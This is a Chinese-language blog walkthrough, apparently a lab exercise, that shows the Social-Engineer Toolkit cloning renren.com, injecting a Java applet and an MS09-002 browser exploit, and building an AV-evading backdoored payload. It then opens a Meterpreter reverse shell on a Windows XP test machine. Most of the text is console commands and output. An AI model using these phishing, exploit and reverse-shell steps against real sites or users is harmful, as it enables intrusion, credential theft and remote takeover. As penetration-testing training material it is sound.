Multi-Attack Web Method

来源:互联网 发布:网络犯罪 编辑:程序博客网 时间:2024/05/19 20:41

操作如下:

root@bt:~# cd /pentest/exploits/set/root@bt:/pentest/exploits/set# ./set             01011001011011110111010100100000011100             10011001010110000101101100011011000111             10010010000001101000011000010111011001             10010100100000011101000110111100100000             01101101011101010110001101101000001000             00011101000110100101101101011001010010             00000110111101101110001000000111100101             10111101110101011100100010000001101000             01100001011011100110010001110011001000             00001110100010110100101001001000000101             01000110100001100001011011100110101101             11001100100000011001100110111101110010             00100000011101010111001101101001011011             10011001110010000001110100011010000110             01010010000001010011011011110110001101             10100101100001011011000010110101000101             01101110011001110110100101101110011001             01011001010111001000100000010101000110             11110110111101101100011010110110100101             11010000100000001010100110100001110101             011001110111001100101010  [---]        The Social-Engineer Toolkit (SET)         [---]          [---]        Created by: David Kennedy (ReL1K)         [---]  [---]        Development Team: JR DePre (pr1me)        [---]  [---]        Development Team: Joey Furr (j0fer)       [---]  [---]        Development Team: Thomas Werth            [---]  [---]        Development Team: Garland                 [---]  [---]                  Version: 3.6                    [---]  [---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---]  [---]        Report bugs: davek@trustedsec.com         [---]  [---]         Follow me on Twitter: dave_rel1k         [---]  [---]       Homepage: https://www.trustedsec.com       [---]   Welcome to the Social-Engineer Toolkit (SET). Your one    stop shop for all of your social-engineering needs..        Join us on irc.freenode.net in channel #setoolkit  The Social-Engineer Toolkit is a product of TrustedSec.           Visit: https://www.trustedsec.com Select from the menu:   1) Social-Engineering Attacks   2) Fast-Track Penetration Testing   3) Third Party Modules   4) Update the Metasploit Framework   5) Update the Social-Engineer Toolkit   6) Update SET configuration   7) Help, Credits, and About  99) Exit the Social-Engineer Toolkitset> 1                         .--.  .--. .-----.                        : .--': .--'`-. .-'                        `. `. : `;    : :                           _`, :: :__   : :                          `.__.'`.__.'  :_;     [---]        The Social-Engineer Toolkit (SET)         [---]          [---]        Created by: David Kennedy (ReL1K)         [---]  [---]        Development Team: JR DePre (pr1me)        [---]  [---]        Development Team: Joey Furr (j0fer)       [---]  [---]        Development Team: Thomas Werth            [---]  [---]        Development Team: Garland                 [---]  [---]                  Version: 3.6                    [---]  [---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---]  [---]        Report bugs: davek@trustedsec.com         [---]  [---]         Follow me on Twitter: dave_rel1k         [---]  [---]       Homepage: https://www.trustedsec.com       [---]   Welcome to the Social-Engineer Toolkit (SET). Your one    stop shop for all of your social-engineering needs..        Join us on irc.freenode.net in channel #setoolkit  The Social-Engineer Toolkit is a product of TrustedSec.           Visit: https://www.trustedsec.com Select from the menu:   1) Spear-Phishing Attack Vectors   2) Website Attack Vectors   3) Infectious Media Generator   4) Create a Payload and Listener   5) Mass Mailer Attack   6) Arduino-Based Attack Vector   7) SMS Spoofing Attack Vector   8) Wireless Access Point Attack Vector   9) QRCode Generator Attack Vector  10) Powershell Attack Vectors  11) Third Party Modules  99) Return back to the main menu.set> 2 The Web Attack module is  a unique way of utilizing multiple web-based attacks in order to compromise the intended victim. The Java Applet Attack method will spoof a Java Certificate and deliver a  metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload. The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload. The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the  information posted to the website. The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different. The Man Left in the Middle Attack method was introduced by Kos and  utilizes HTTP REFERER's in order to intercept fields and harvest  data from them. You need to have an already vulnerable site and in- corporate <script src="http://YOURIP/">. This could either be from a compromised site or through XSS. The Web-Jacking Attack method was introduced by white_sheep, Emgent  and the Back|Track team. This method utilizes iframe replacements to  make the highlighted URL link to appear legitimate however when clicked  a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast. The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing, and the Man Left in the Middle attack all at once to see which is successful.   1) Java Applet Attack Method   2) Metasploit Browser Exploit Method   3) Credential Harvester Attack Method   4) Tabnabbing Attack Method   5) Man Left in the Middle Attack Method   6) Web Jacking Attack Method   7) Multi-Attack Web Method   8) Victim Web Profiler   9) Create or import a CodeSigning Certificate  99) Return to Main Menuset:webattack>7 The first method will allow SET to import a list of pre-defined web  applications that it can utilize within the attack. The second method will completely clone a website of your choosing and allow you to utilize the attack vectors within the completely same web application you were attempting to clone. The third method allows you to import your own website, note that you should only have an index.html when using the import website functionality.      1) Web Templates   2) Site Cloner   3) Custom Import  99) Return to Webattack Menuset:webattack>2[-] NAT/Port Forwarding can be used in the cases where your SET machine is[-] not externally exposed and may be a different IP address than your reverse listener.set> Are you using NAT/Port Forwarding [yes|no]: no[-] Enter the IP address of your interface IP or if your using an external IP, what[-] will be used for the connection back and to house the web server (your interface address)set:webattack> IP address for the reverse connection:192.168.1.11[-] SET supports both HTTP and HTTPS[-] Example: http://www.thisisafakesite.comset:webattack> Enter the url to clone:www.renren.com[*************************************************************]                Multi-Attack Web Attack Vector[*************************************************************] The multi attack vector utilizes each combination of attacks and allow the user to choose the method for the attack. Once you select one of the attacks, it will be added to your  attack profile to be used to stage the attack vector. When your finished be sure to select the 'I'm finished' option.Select which attacks you want to use:   1. Java Applet Attack Method (OFF)   2. Metasploit Browser Exploit Method (OFF)   3. Credential Harvester Attack Method (OFF)   4. Tabnabbing Attack Method (OFF)   5. Man Left in the Middle Attack Method (OFF)   6. Web Jacking Attack Method (OFF)   7. Use them all - A.K.A. 'Tactical Nuke'   8. I'm finished and want to proceed with the attack  99. Return to Main Menuset:webattack:multiattack> Enter selections one at a time (8 to finish):7                                  ..-^~~~^-..                                .~           ~.                               (;:           :;)                                (:           :)                                  ':._   _.:'                                      | |                                    (=====)                                      | |                                      | |                                      | |                                   ((/   \))Selecting everything SET has in its aresenal, you like sending a nuke don't you?[*] Note that tabnabbing is not enabled in the tactical nuke, select manually if you want.[*] Cloning the website: http://www.renren.com[*] This could take a little bit...Modified successfully[*] Injecting Java Applet attack into the newly cloned website.[*] Filename obfuscation complete. Payload name is: Ycg5fI2Gd[*] Malicious java applet website prepped for deployment[*] Injecting iframes into cloned website for MSF Attack....[*] Malicious iframe injection successful...crafting payload.What payload do you want to generate:  Name:                                       Description:   1) Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker   2) Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker   3) Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker   4) Windows Bind Shell                      Execute payload and create an accepting port on remote system   5) Windows Bind Shell X64                  Windows x64 Command Shell, Bind TCP Inline   6) Windows Shell Reverse_TCP X64           Windows X64 Command Shell, Reverse TCP Inline   7) Windows Meterpreter Reverse_TCP X64     Connect back to the attacker (Windows x64), Meterpreter   8) Windows Meterpreter Egress Buster       Spawn a meterpreter shell and find a port home via multiple ports   9) Windows Meterpreter Reverse HTTPS       Tunnel communication over HTTP using SSL and use Meterpreter  10) Windows Meterpreter Reverse DNS         Use a hostname instead of an IP address and spawn Meterpreter  11) SE Toolkit Interactive Shell            Custom interactive reverse toolkit designed for SET  12) SE Toolkit HTTP Reverse Shell           Purely native HTTP shell with AES encryption support  13) RATTE HTTP Tunneling Payload            Security bypass payload that will tunnel all comms over HTTP  14) ShellCodeExec Alphanum Shellcode        This will drop a meterpreter payload through shellcodeexec (A/V Safe)  15) Import your own executable              Specify a path for your own executableset:payloads>2Below is a list of encodings to try and bypass AV. Select one of the below, 'backdoored executable' is typically the best.   1) avoid_utf8_tolower (Normal)   2) shikata_ga_nai (Very Good)   3) alpha_mixed (Normal)   4) alpha_upper (Normal)   5) call4_dword_xor (Normal)   6) countdown (Normal)   7) fnstenv_mov (Normal)   8) jmp_call_additive (Normal)   9) nonalpha (Normal)  10) nonupper (Normal)  11) unicode_mixed (Normal)  12) unicode_upper (Normal)  13) alpha2 (Normal)  14) No Encoding (None)  15) Multi-Encoder (Excellent)  16) Backdoored Executable (BEST)set:encoding>16set:payloads> PORT of the listener [443]:[*] Generating x64-based powershell injection code...[*] Generating x86-based powershell injection code...[*] Finished generating powershell injection attack and is encoded to bypass execution restriction...[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...[*] Backdoor completed successfully. Payload is now hidden within a legit executable.[*] UPX Encoding is set to ON, attempting to pack the executable with UPX encoding.[-] Packing the executable and obfuscating PE file randomly, one moment.[*] Digital Signature Stealing is ON, hijacking a legit digital certificate[*] Generating OSX payloads through Metasploit...[*] Generating Linux payloads through Metasploit... Enter the browser exploit you would like to use [8]:   1) Java AtomicReferenceArray Type Violation Vulnerability   2) Java Applet Field Bytecode Verifier Cache Remote Code Execution   3) MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption   4) Microsoft XML Core Services MSXML Uninitialized Memory Corruption   5) Adobe Flash Player Object Type Confusion   6) Adobe Flash Player MP4 "cprt" Overflow   7) MS12-004 midiOutPlayNextPolyEvent Heap Overflow   8) Java Applet Rhino Script Engine Remote Code Execution   9) MS11-050 IE mshtml!CObjectElement Use After Free  10) Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability  11) Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute  12) Internet Explorer CSS Import Use After Free (default)  13) Microsoft WMI Administration Tools ActiveX Buffer Overflow  14) Internet Explorer CSS Tags Memory Corruption  15) Sun Java Applet2ClassLoader Remote Code Execution  16) Sun Java Runtime New Plugin docbase Buffer Overflow  17) Microsoft Windows WebDAV Application DLL Hijacker  18) Adobe Flash Player AVM Bytecode Verification Vulnerability  19) Adobe Shockwave rcsL Memory Corruption Exploit  20) Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow  21) Apple QuickTime 7.6.7 Marshaled_pUnk Code Execution  22) Microsoft Help Center XSS and Command Execution (MS10-042)  23) Microsoft Internet Explorer iepeers.dll Use After Free (MS10-018)  24) Microsoft Internet Explorer "Aurora" Memory Corruption (MS10-002)  25) Microsoft Internet Explorer Tabular Data Control Exploit (MS10-018)  26) Microsoft Internet Explorer 7 Uninitialized Memory Corruption (MS09-002)  27) Microsoft Internet Explorer Style getElementsbyTagName Corruption (MS09-072)  28) Microsoft Internet Explorer isComponentInstalled Overflow  29) Microsoft Internet Explorer Explorer Data Binding Corruption (MS08-078)  30) Microsoft Internet Explorer Unsafe Scripting Misconfiguration  31) FireFox 3.5 escape Return Value Memory Corruption  32) FireFox 3.6.16 mChannel use after free vulnerability  33) Metasploit Browser Autopwn (USE AT OWN RISK!)set:payloads>26[*] Moving payload into cloned website.[*] The site has been moved. SET Web Server is now listening..[-] Launching MSF Listener...[-] This may take a few to load MSF...[-] ***[-] * WARNING: Database support has been disabled[-] ***                 _---------.             .' #######   ;."  .---,.    ;@             @@`;   .---,..." @@@@@'.,'@@            @@@@@',.'@@@@ ".'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'     "--'.@@@  -.@        @ ,'-   .'--"          ".@' ; @       @ `.  ;'            |@@@@ @@@     @    .             ' @@@ @@   @@    ,              `.@@@@    @@   .                ',@@     @   ;           _____________                 (   3 C    )     /|___ / Metasploit! \                 ;@'. __*__,."    \|--- \_____________/                  '(.,...."/       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]+ -- --=[ 927 exploits - 499 auxiliary - 151 post+ -- --=[ 251 payloads - 28 encoders - 8 nops[*] Processing /pentest/exploits/set/src/program_junk/meta_config for ERB directives.resource (/pentest/exploits/set/src/program_junk/meta_config)> use exploit/multi/handlerresource (/pentest/exploits/set/src/program_junk/meta_config)> set PAYLOAD osx/x86/shell_reverse_tcpPAYLOAD => osx/x86/shell_reverse_tcpresource (/pentest/exploits/set/src/program_junk/meta_config)> set LHOST 192.168.1.11LHOST => 192.168.1.11resource (/pentest/exploits/set/src/program_junk/meta_config)> set LPORT 8082LPORT => 8082resource (/pentest/exploits/set/src/program_junk/meta_config)> set InitialAutoRunScript post/osx/gather/enum_osxInitialAutoRunScript => post/osx/gather/enum_osxresource (/pentest/exploits/set/src/program_junk/meta_config)> set ExitOnSession falseExitOnSession => falseresource (/pentest/exploits/set/src/program_junk/meta_config)> exploit -j[*] Exploit running as background job.resource (/pentest/exploits/set/src/program_junk/meta_config)> use exploit/multi/handlerresource (/pentest/exploits/set/src/program_junk/meta_config)> set PAYLOAD linux/x86/shell/reverse_tcpPAYLOAD => linux/x86/shell/reverse_tcpresource (/pentest/exploits/set/src/program_junk/meta_config)> set LHOST 192.168.1.11LHOST => 192.168.1.11resource (/pentest/exploits/set/src/program_junk/meta_config)> set LPORT 8081LPORT => 8081[*] Started reverse handler on 192.168.1.11:8082 resource (/pentest/exploits/set/src/program_junk/meta_config)> set ExitOnSession falseExitOnSession => falseresource (/pentest/exploits/set/src/program_junk/meta_config)> exploit -j[*] Starting the payload handler...[*] Exploit running as background job.resource (/pentest/exploits/set/src/program_junk/meta_config)> use windows/browser/ms09_002_memory_corruptionresource (/pentest/exploits/set/src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcpPAYLOAD => windows/meterpreter/reverse_tcpresource (/pentest/exploits/set/src/program_junk/meta_config)> set LHOST 192.168.1.11LHOST => 192.168.1.11resource (/pentest/exploits/set/src/program_junk/meta_config)> set LPORT 443[*] Started reverse handler on 192.168.1.11:8081 [*] Starting the payload handler...LPORT => 443resource (/pentest/exploits/set/src/program_junk/meta_config)> set URIPATH /URIPATH => /resource (/pentest/exploits/set/src/program_junk/meta_config)> set SRVPORT 8080SRVPORT => 8080resource (/pentest/exploits/set/src/program_junk/meta_config)> set ExitOnSession falseExitOnSession => falseresource (/pentest/exploits/set/src/program_junk/meta_config)> set AutoRunScript migrate -fAutoRunScript => migrate -fresource (/pentest/exploits/set/src/program_junk/meta_config)> exploit -j[*] Exploit running as background job.msf  exploit(ms09_002_memory_corruption) > [*] Started reverse handler on 192.168.1.11:443 [*] Using URL: http://0.0.0.0:8080/[*]  Local IP: http://192.168.1.11:8080/[*] Server started.

然后在XP上,用IE7打开http://192.168.1.11:8080/,如图:



此时BT5后台输出:

[*] 192.168.1.142    ms09_002_memory_corruption - Sending Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption

等了一会,没出现其他信息,我刷新IE7,此时有信息输出来了:

[*] 192.168.1.142    ms09_002_memory_corruption - Sending Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption[*] Sending stage (752128 bytes) to 192.168.1.142[*] Meterpreter session 1 opened (192.168.1.11:443 -> 192.168.1.142:1068) at 2013-04-28 06:14:06 -0400[*] Session ID 1 (192.168.1.11:443 -> 192.168.1.142:1068) processing InitialAutoRunScript 'migrate -f'[*] Current server process: iexplore.exe (1764)[*] Spawning notepad.exe process to migrate to[+] Migrating to 1772[+] Successfully migrated to process [*] Session ID 1 (192.168.1.11:443 -> 192.168.1.142:1068) processing AutoRunScript 'migrate -f'[*] Current server process: notepad.exe (1772)[*] Spawning notepad.exe process to migrate to[+] Migrating to 1644[+] Successfully migrated to process 

看来已经成功了,查看session并利用其中一个session:

msf  exploit(ms09_002_memory_corruption) > sessions -lActive sessions===============  Id  Type                   Information                                      Connection  --  ----                   -----------                                      ----------  1   meterpreter x86/win32  ROOT-9743DD32E3\Administrator @ ROOT-9743DD32E3  192.168.1.11:443 -> 192.168.1.142:1068 (192.168.1.142)msf  exploit(ms09_002_memory_corruption) > sessions -i 1[*] Starting interaction with 1...meterpreter > sysinfoComputer        : ROOT-9743DD32E3OS              : Windows XP (Build 2600, Service Pack 3).Architecture    : x86System Language : zh_CNMeterpreter     : x86/win32meterpreter > shellProcess 1224 created.Channel 1 created.Microsoft Windows XP [版本 5.1.2600](C) 版权所有 1985-2001 Microsoft Corp.C:\Documents and Settings\Administrator\桌面>

获得shell后,如果要退出,输入:

C:\Documents and Settings\Administrator\桌面>exit[-] core_channel_write: Operation failed: The handle is invalid.meterpreter >